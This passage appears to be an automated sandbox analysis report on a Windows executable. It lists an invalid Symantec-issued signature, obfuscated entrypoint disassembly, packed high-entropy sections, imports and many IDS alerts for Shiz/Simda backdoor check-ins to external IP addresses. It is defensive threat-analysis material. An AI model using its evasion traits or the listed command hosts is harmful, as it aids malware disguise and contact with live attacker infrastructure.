                                                                                                                                                                                                          Import Hash:5dbe4621616d081e3440b0469a9471ca

                                                                                                                                                                                                          Authenticode Signature

                                                                                                                                                                                                          Signature Valid:false
                                                                                                                                                                                                          Signature Issuer:CN=VeriSign Class 3 Code Signing 2004 CA, OU=Terms of use at https://www.verisign.com/rpa (c)04, OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US
                                                                                                                                                                                                          Signature Validation Error:The digital signature of the object did not verify
                                                                                                                                                                                                          Error Number:-2146869232
                                                                                                                                                                                                          Not Before, Not After
                                                                                                                                                                                                          • 10/09/2006 20:00:00 24/11/2007 18:59:59
                                                                                                                                                                                                          Subject Chain
                                                                                                                                                                                                          • CN=Symantec Corporation, OU=Symantec Research Labs, OU=Digital ID Class 3 - Microsoft Software Validation v2, O=Symantec Corporation, L=Santa Monica, S=California, C=US
                                                                                                                                                                                                          Version:3
                                                                                                                                                                                                          Thumbprint MD5:D4CC22DC4F6D903F11EE1CEEEEAD13A2
                                                                                                                                                                                                          Thumbprint SHA-1:276C66B0A5B5F355D9B740303A7170B376257B5A
                                                                                                                                                                                                          Thumbprint SHA-256:06AE30D02F0672C6341CB0BC5AB32E459403891010104A26EFE7F98ABD4166A1
                                                                                                                                                                                                          Serial:01EDF8340CDF060C099E1A6472F76DB4

                                                                                                                                                                                                          Entrypoint Preview

                                                                                                                                                                                                          Instruction
                                                                                                                                                                                                          mov dword ptr [0046D474h], 00000000h
                                                                                                                                                                                                          mov eax, dword ptr [0046D474h]
                                                                                                                                                                                                          mov esi, 00000000h
                                                                                                                                                                                                          mov edx, esi
                                                                                                                                                                                                          push edx
                                                                                                                                                                                                          mov edi, 000DC133h
                                                                                                                                                                                                          add edi, 003910A7h
                                                                                                                                                                                                          push edi
                                                                                                                                                                                                          mov dword ptr [0046D44Fh], 00000000h
                                                                                                                                                                                                          mov esi, dword ptr [0046D44Fh]
                                                                                                                                                                                                          push esi
                                                                                                                                                                                                          call dword ptr [004470CCh]
                                                                                                                                                                                                          mov dword ptr [0046D032h], eax
                                                                                                                                                                                                          xor eax, eax
                                                                                                                                                                                                          push 00000051h
                                                                                                                                                                                                          pop esi
                                                                                                                                                                                                          sub esi, 00000CB0h
                                                                                                                                                                                                          test dword ptr [0046D32Ch], esi
                                                                                                                                                                                                          jne 00007F501CE33401h
                                                                                                                                                                                                          shl esi, 06h
                                                                                                                                                                                                          and esi, 0000000Fh
                                                                                                                                                                                                          sub esi, dword ptr [0046D26Eh]
                                                                                                                                                                                                          add dword ptr [0046D383h], esi
                                                                                                                                                                                                          push 00000988h
                                                                                                                                                                                                          pop ebp
                                                                                                                                                                                                          and ebp, 000000FFh
                                                                                                                                                                                                          add ebp, 00000551h
                                                                                                                                                                                                          jne 00007F501CE333F9h
                                                                                                                                                                                                          and ebp, 00FFFFFFh
                                                                                                                                                                                                          inc ebp
                                                                                                                                                                                                          dec ebp
                                                                                                                                                                                                          push ebp
                                                                                                                                                                                                          pop dword ptr [0046D396h]
                                                                                                                                                                                                          add dword ptr [0046D29Fh], ebp
                                                                                                                                                                                                          mov edi, 00000061h
                                                                                                                                                                                                          sub edi, BCC6B9B1h
                                                                                                                                                                                                          jne 00007F501CE33E92h
                                                                                                                                                                                                          mov dword ptr [0046D0E2h], eax
                                                                                                                                                                                                          mov ebx, 00000000h
                                                                                                                                                                                                          shr ebx, 03h
                                                                                                                                                                                                          test dword ptr [0046D353h], ebx
                                                                                                                                                                                                          je 00007F501CE333FBh
                                                                                                                                                                                                          shl ebx, 1
                                                                                                                                                                                                          mov edi, 000018FCh
                                                                                                                                                                                                          xor edi, ebx
                                                                                                                                                                                                          add dword ptr [0046D0F3h], ebx

                                                                                                                                                                                                          Data Directories

                                                                                                                                                                                                          NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_IMPORT0x472280xb4.lziQh
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_RESOURCE0x1ab0000x1ac4.rsrc
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_SECURITY0x354000x1690.RqVY
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_BASERELOC0x1ad0000x3b6.reloc
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_DEBUG0x49cac0x1c.EXGwv
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                                                          Sections

                                                                                                                                                                                                          NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                                          .sX0x10000x135d0x135d581317baaced2942f61ab7ecb82969e9False0.7756707686100464data6.2529108972846785IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                          .RqVY0x30000x3ff400x6009ee15c846232cd08290a24bc3ece46b2False0.91015625PGP Secret Sub-key -6.756054817049547IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                          .i0x430000x36b00x380059d5847fd0d85b1e23c3ff1ad8637febFalse0.6780133928571429data5.967632184023219IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                          .lziQh0x470000x10490x1000dce93519fcb3efa29084a4e8e0032b39False0.417724609375data4.9458799591598295IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                          .EXGwv0x490000x2399a0x1000b353cb16547fa95b777bd56871e8862fFalse0.717529296875data5.978580882178331IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                          .data0x6d0000x85d190x29c006617325dca263ae19dbc0d7e61c3d342False0.9971580276946108data7.995569987755662IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                          .I0xf30000x45e110x1000def17aa66b683ba746c321ff03725de6False0.739013671875data6.000898720847474IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                          .E0x1390000x7101b0x1200e3ec98900184b705c85ef3c0711b495fFalse0.7003038194444444data5.80359967339437IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                          .rsrc0x1ab0000x1ac40x1c0023f1173f3e84886c912833c32fa2e961False0.634765625data5.314059067814752IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                          .reloc0x1ad0000x3b60x4006a410882061c509a8e71c0e91146df7bFalse0.912109375data6.730847700191025IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                                                                                                                          Resources

                                                                                                                                                                                                          NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                                                          RT_BITMAP0x1ab2bc0x2a8Device independent bitmap graphic, 10 x 20 x 24, image size 0EnglishUnited States0.9382352941176471
                                                                                                                                                                                                          RT_ICON0x1ab5640x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishUnited States0.6367260787992496
                                                                                                                                                                                                          RT_DIALOG0x1ac60c0x56dataEnglishUnited States0.9767441860465116
                                                                                                                                                                                                          RT_RCDATA0x1ac6640x5cdataEnglishUnited States1.1195652173913044
                                                                                                                                                                                                          RT_RCDATA0x1ac6c00x13dataEnglishUnited States1.4210526315789473
                                                                                                                                                                                                          RT_RCDATA0x1ac6d40x50dataEnglishUnited States1.1375
                                                                                                                                                                                                          RT_RCDATA0x1ac7240x59dataEnglishUnited States1.1235955056179776
                                                                                                                                                                                                          RT_RCDATA0x1ac7800x62dataEnglishUnited States1.1122448979591837
                                                                                                                                                                                                          RT_RCDATA0x1ac7e40x63dataEnglishUnited States1.1111111111111112
                                                                                                                                                                                                          RT_GROUP_ICON0x1ac8480x14dataEnglishUnited States1.1
                                                                                                                                                                                                          RT_VERSION0x1ac85c0x268MS Windows COFF Motorola 68000 object fileEnglishUnited States0.538961038961039

                                                                                                                                                                                                          Imports

                                                                                                                                                                                                          DLLImport
                                                                                                                                                                                                          KERNEL32.DLLCreatePipe, GetComputerNameA, GetCalendarInfoA, TlsAlloc, CreateDirectoryW, GetMailslotInfo, GetModuleFileNameW, GetCalendarInfoW, GetPriorityClass, GetUserDefaultLCID, GlobalFindAtomA, GetProcAddress, FindAtomW, FileTimeToLocalFileTime, EnumDateFormatsW, OpenEventA, GetLocaleInfoW, lstrcmpiW, SetLocaleInfoW, GetEnvironmentVariableW, GetExitCodeProcess, MulDiv, SetUnhandledExceptionFilter, GetNamedPipeInfo, EndUpdateResourceW, SetComputerNameA, GetProcessHeap, SetPriorityClass, FreeResource, GetModuleHandleW, QueryPerformanceFrequency, GetFileAttributesW, CompareStringA, LoadLibraryA, IsDebuggerPresent, HeapCreate, CreateNamedPipeW, GetThreadPriority, OpenMutexW, ExpandEnvironmentStringsA, lstrcmpi, GetEnvironmentStringsA, FileTimeToDosDateTime, GetCommandLineA, lstrcpynW, GetDiskFreeSpaceW, lstrcmp, GetCurrentDirectoryA
                                                                                                                                                                                                          USER32.DLLAnimateWindow, GetWindowRgn, GetClassInfoA, CreateDialogParamA, GetClassInfoExW, EnumChildWindows, RegisterClassA, DrawTextA, SetFocus, MessageBoxIndirectW, MonitorFromPoint, ClientToScreen, DefWindowProcA, LoadImageA, ActivateKeyboardLayout, GetTopWindow, LoadMenuIndirectA, MessageBoxA, GetDC, UnregisterClassW, mouse_event, GetMenuState, SetCursor, ShowCursor, IsDlgButtonChecked, CheckDlgButton, SetParent, keybd_event, DrawTextW, SetDlgItemInt, FrameRect, RegisterClassExW, RemoveMenu, SendMessageA, TrackPopupMenuEx, GetForegroundWindow, LoadMenuA, GetDlgItemTextW, CreateDialogIndirectParamW, SetDlgItemTextW, MessageBeep, SetActiveWindow, CharNextA, GetMenu, UpdateLayeredWindow, SetWindowLongA, CloseWindow, MessageBoxW, EndDialog, IsIconic, CreateAcceleratorTableA
                                                                                                                                                                                                          gdi32.dllPtInRegion, SetWorldTransform, CreateEnhMetaFileW, CreateDCW, CreateMetaFileW, TranslateCharsetInfo, EnumFontsA, ScaleViewportExtEx, CreateCompatibleDC, GetDIBits, RemoveFontResourceW, SetPixel, GetEnhMetaFileDescriptionA
                                                                                                                                                                                                          ADVAPI32.DLLRegCreateKeyExW, RegOpenKeyW, RegRestoreKeyA, RegOpenKeyA, RegSaveKeyW, RegReplaceKeyA
                                                                                                                                                                                                          SHLWAPI.DLLSHDeleteEmptyKeyA, PathFindNextComponentW, StrCpyW, PathStripPathA, SHCopyKeyW, PathIsURLW, SHRegQueryInfoUSKeyW, PathCreateFromUrlA
                                                                                                                                                                                                          OLEAUT32.DLLVarR4FromR8
                                                                                                                                                                                                          WINMM.DLLmciSendStringW, mciSendStringA
                                                                                                                                                                                                          winspool.drvDeleteFormA

                                                                                                                                                                                                          Possible Origin

                                                                                                                                                                                                          Language of compilation systemCountry where language is spokenMap
                                                                                                                                                                                                          EnglishUnited States

                                                                                                                                                                                                          Network Behavior

                                                                                                                                                                                                          Suricata IDS Alerts

                                                                                                                                                                                                          TimestampProtocolSIDSignatureSeveritySource PortDest PortSource IPDest IP
                                                                                                                                                                                                          2024-08-23T18:42:19.845636+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14972480192.168.2.585.17.31.122
                                                                                                                                                                                                          2024-08-23T18:42:19.845636+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14972480192.168.2.585.17.31.122
                                                                                                                                                                                                          2024-08-23T18:44:06.016069+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15085380192.168.2.5103.224.182.252
                                                                                                                                                                                                          2024-08-23T18:44:06.016069+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15085380192.168.2.5103.224.182.252
                                                                                                                                                                                                          2024-08-23T18:43:06.834133+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin16351780192.168.2.564.225.91.73
                                                                                                                                                                                                          2024-08-23T18:43:06.834133+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin16351780192.168.2.564.225.91.73
                                                                                                                                                                                                          2024-08-23T18:42:12.965416+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14971280192.168.2.53.94.10.34
                                                                                                                                                                                                          2024-08-23T18:42:12.965416+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14971280192.168.2.53.94.10.34
                                                                                                                                                                                                          2024-08-23T18:43:29.703955+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin16268680192.168.2.572.52.179.174
                                                                                                                                                                                                          2024-08-23T18:43:29.703955+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin16268680192.168.2.572.52.179.174
                                                                                                                                                                                                          2024-08-23T18:43:35.057591+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15953680192.168.2.544.221.84.105
                                                                                                                                                                                                          2024-08-23T18:43:35.057591+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15953680192.168.2.544.221.84.105
                                                                                                                                                                                                          2024-08-23T18:44:05.672351+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15085280192.168.2.544.221.84.105
                                                                                                                                                                                                          2024-08-23T18:44:05.672351+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15085280192.168.2.544.221.84.105
                                                                                                                                                                                                          2024-08-23T18:43:47.523223+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15084280192.168.2.5188.114.96.3
                                                                                                                                                                                                          2024-08-23T18:43:47.523223+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15084280192.168.2.5188.114.96.3
                                                                                                                                                                                                          2024-08-23T18:42:14.285919+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14971980192.168.2.5154.212.231.82
                                                                                                                                                                                                          2024-08-23T18:42:14.285919+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14971980192.168.2.5154.212.231.82
                                                                                                                                                                                                          2024-08-23T18:42:13.792588+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14970780192.168.2.5188.114.96.3
                                                                                                                                                                                                          2024-08-23T18:42:13.792588+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14970780192.168.2.5188.114.96.3
                                                                                                                                                                                                          2024-08-23T18:42:12.841493+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14970980192.168.2.53.64.163.50
                                                                                                                                                                                                          2024-08-23T18:42:12.841493+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14970980192.168.2.53.64.163.50
                                                                                                                                                                                                          2024-08-23T18:43:03.463861+0200UDP2021022ET MALWARE Wapack Labs Sinkhole DNS Reply153628381.1.1.1192.168.2.5
                                                                                                                                                                                                          2024-08-23T18:43:03.806190+0200UDP2021022ET MALWARE Wapack Labs Sinkhole DNS Reply153636951.1.1.1192.168.2.5
                                                                                                                                                                                                          2024-08-23T18:43:37.247409+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin159543443192.168.2.5188.114.96.3
                                                                                                                                                                                                          2024-08-23T18:42:14.780163+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin149721443192.168.2.5188.114.96.3
                                                                                                                                                                                                          2024-08-23T18:42:46.293135+0200UDP2021022ET MALWARE Wapack Labs Sinkhole DNS Reply153500881.1.1.1192.168.2.5
                                                                                                                                                                                                          2024-08-23T18:43:06.931526+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin16351880192.168.2.544.221.84.105
                                                                                                                                                                                                          2024-08-23T18:43:06.931526+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin16351880192.168.2.544.221.84.105
                                                                                                                                                                                                          2024-08-23T18:43:37.767067+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15954480192.168.2.5154.212.231.82
                                                                                                                                                                                                          2024-08-23T18:43:37.767067+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15954480192.168.2.5154.212.231.82
                                                                                                                                                                                                          2024-08-23T18:44:06.377470+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15085180192.168.2.5154.85.183.50
                                                                                                                                                                                                          2024-08-23T18:44:06.377470+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15085180192.168.2.5154.85.183.50
                                                                                                                                                                                                          2024-08-23T18:42:12.933029+0200TCP2018141ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz1804971144.221.84.105192.168.2.5
                                                                                                                                                                                                          2024-08-23T18:42:12.933029+0200TCP2037771ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst1804971144.221.84.105192.168.2.5
                                                                                                                                                                                                          2024-08-23T18:42:12.784899+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14970880192.168.2.5162.255.119.102
                                                                                                                                                                                                          2024-08-23T18:42:12.784899+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14970880192.168.2.5162.255.119.102
                                                                                                                                                                                                          2024-08-23T18:42:13.180850+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14971580192.168.2.5208.100.26.245
                                                                                                                                                                                                          2024-08-23T18:42:13.180850+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14971580192.168.2.5208.100.26.245
                                                                                                                                                                                                          2024-08-23T18:43:35.027705+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15953280192.168.2.544.221.84.105
                                                                                                                                                                                                          2024-08-23T18:43:35.027705+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15953280192.168.2.544.221.84.105
                                                                                                                                                                                                          2024-08-23T18:43:03.648757+0200UDP2021022ET MALWARE Wapack Labs Sinkhole DNS Reply153626311.1.1.1192.168.2.5
                                                                                                                                                                                                          2024-08-23T18:43:35.103902+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15952880192.168.2.5162.255.119.102
                                                                                                                                                                                                          2024-08-23T18:43:35.103902+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15952880192.168.2.5162.255.119.102
                                                                                                                                                                                                          2024-08-23T18:42:14.726822+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14971980192.168.2.5154.212.231.82
                                                                                                                                                                                                          2024-08-23T18:42:14.726822+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14971980192.168.2.5154.212.231.82
                                                                                                                                                                                                          2024-08-23T18:42:24.303230+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14971780192.168.2.5172.234.222.143
                                                                                                                                                                                                          2024-08-23T18:42:24.303230+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14971780192.168.2.5172.234.222.143
                                                                                                                                                                                                          2024-08-23T18:43:07.276878+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin16351980192.168.2.5103.224.212.210
                                                                                                                                                                                                          2024-08-23T18:43:07.276878+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin16351980192.168.2.5103.224.212.210
                                                                                                                                                                                                          2024-08-23T18:42:13.059217+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14971580192.168.2.5208.100.26.245
                                                                                                                                                                                                          2024-08-23T18:42:13.059217+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14971580192.168.2.5208.100.26.245
                                                                                                                                                                                                          2024-08-23T18:43:07.701206+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin16352180192.168.2.5154.85.183.50
                                                                                                                                                                                                          2024-08-23T18:43:07.701206+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin16352180192.168.2.5154.85.183.50
                                                                                                                                                                                                          2024-08-23T18:42:57.405298+0200UDP2021022ET MALWARE Wapack Labs Sinkhole DNS Reply153535311.1.1.1192.168.2.5
                                                                                                                                                                                                          2024-08-23T18:42:12.969463+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14971380192.168.2.518.208.156.248
                                                                                                                                                                                                          2024-08-23T18:42:12.969463+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14971380192.168.2.518.208.156.248
                                                                                                                                                                                                          2024-08-23T18:43:36.336824+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15953480192.168.2.5199.191.50.83
                                                                                                                                                                                                          2024-08-23T18:43:36.336824+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15953480192.168.2.5199.191.50.83
                                                                                                                                                                                                          2024-08-23T18:43:48.600216+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15084480192.168.2.5103.150.11.230
                                                                                                                                                                                                          2024-08-23T18:43:48.600216+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15084480192.168.2.5103.150.11.230
                                                                                                                                                                                                          2024-08-23T18:43:31.676842+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14936980192.168.2.552.34.198.229
                                                                                                                                                                                                          2024-08-23T18:43:31.676842+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14936980192.168.2.552.34.198.229
                                                                                                                                                                                                          2024-08-23T18:42:29.671762+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14973380192.168.2.5103.150.11.230
                                                                                                                                                                                                          2024-08-23T18:42:29.671762+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14973380192.168.2.5103.150.11.230
                                                                                                                                                                                                          2024-08-23T18:42:13.792580+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14971880192.168.2.591.195.240.19
                                                                                                                                                                                                          2024-08-23T18:42:13.140368+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14971680192.168.2.569.162.80.57
                                                                                                                                                                                                          2024-08-23T18:42:13.140368+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14971680192.168.2.569.162.80.57
                                                                                                                                                                                                          2024-08-23T18:43:28.678792+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin16268480192.168.2.564.225.91.73
                                                                                                                                                                                                          2024-08-23T18:43:28.678792+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin16268480192.168.2.564.225.91.73
                                                                                                                                                                                                          2024-08-23T18:43:48.002079+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin150846443192.168.2.5188.114.96.3
                                                                                                                                                                                                          2024-08-23T18:44:06.122015+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin16132180192.168.2.5103.224.212.210
                                                                                                                                                                                                          2024-08-23T18:44:06.122015+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin16132180192.168.2.5103.224.212.210
                                                                                                                                                                                                          2024-08-23T18:43:03.621686+0200UDP2021022ET MALWARE Wapack Labs Sinkhole DNS Reply153528631.1.1.1192.168.2.5
                                                                                                                                                                                                          2024-08-23T18:43:35.112054+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15953880192.168.2.569.162.80.57
                                                                                                                                                                                                          2024-08-23T18:43:35.112054+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15953880192.168.2.569.162.80.57
                                                                                                                                                                                                          2024-08-23T18:43:38.456170+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15954580192.168.2.585.17.31.122
                                                                                                                                                                                                          2024-08-23T18:43:38.456170+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15954580192.168.2.585.17.31.122
                                                                                                                                                                                                          2024-08-23T18:43:01.800134+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin160696443192.168.2.5188.114.96.3
                                                                                                                                                                                                          2024-08-23T18:42:57.224227+0200UDP2021022ET MALWARE Wapack Labs Sinkhole DNS Reply153503161.1.1.1192.168.2.5
                                                                                                                                                                                                          2024-08-23T18:42:12.965688+0200TCP2018141ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz180497123.94.10.34192.168.2.5
                                                                                                                                                                                                          2024-08-23T18:42:12.965688+0200TCP2037771ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst180497123.94.10.34192.168.2.5
                                                                                                                                                                                                          2024-08-23T18:43:51.440659+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin150848443192.168.2.5188.114.96.3
                                                                                                                                                                                                          2024-08-23T18:43:35.574502+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin159539443192.168.2.5188.114.96.3
                                                                                                                                                                                                          2024-08-23T18:43:45.947600+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15954680192.168.2.5172.234.222.143
                                                                                                                                                                                                          2024-08-23T18:43:45.947600+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15954680192.168.2.5172.234.222.143
                                                                                                                                                                                                          2024-08-23T18:42:28.944979+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin149737443192.168.2.5188.114.96.3
                                                                                                                                                                                                          2024-08-23T18:43:38.160164+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15954480192.168.2.5154.212.231.82
                                                                                                                                                                                                          2024-08-23T18:43:38.160164+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15954480192.168.2.5154.212.231.82
                                                                                                                                                                                                          2024-08-23T18:42:36.380226+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14972880192.168.2.513.248.169.48
                                                                                                                                                                                                          2024-08-23T18:42:36.380226+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14972880192.168.2.513.248.169.48
                                                                                                                                                                                                          2024-08-23T18:43:35.179648+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15953780192.168.2.5208.100.26.245
                                                                                                                                                                                                          2024-08-23T18:43:35.179648+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15953780192.168.2.5208.100.26.245
                                                                                                                                                                                                          2024-08-23T18:43:03.704038+0200UDP2021022ET MALWARE Wapack Labs Sinkhole DNS Reply153647001.1.1.1192.168.2.5
                                                                                                                                                                                                          2024-08-23T18:43:47.172572+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15084480192.168.2.5103.150.11.230
                                                                                                                                                                                                          2024-08-23T18:43:47.172572+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15084480192.168.2.5103.150.11.230
                                                                                                                                                                                                          2024-08-23T18:42:17.944239+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin149723443192.168.2.5188.114.96.3
                                                                                                                                                                                                          2024-08-23T18:43:50.959353+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin15084280192.168.2.5188.114.96.3
                                                                                                                                                                                                          2024-08-23T18:43:50.959353+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin15084280192.168.2.5188.114.96.3
                                                                                                                                                                                                          2024-08-23T18:42:17.939719+0200TCP2803437ETPRO MALWARE Backdoor.Win32.Shiz.ivr Checkin14972280192.168.2.585.17.31.122
                                                                                                                                                                                                          2024-08-23T18:42:17.939719+0200TCP2804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin14972280192.168.2.585.17.31.122
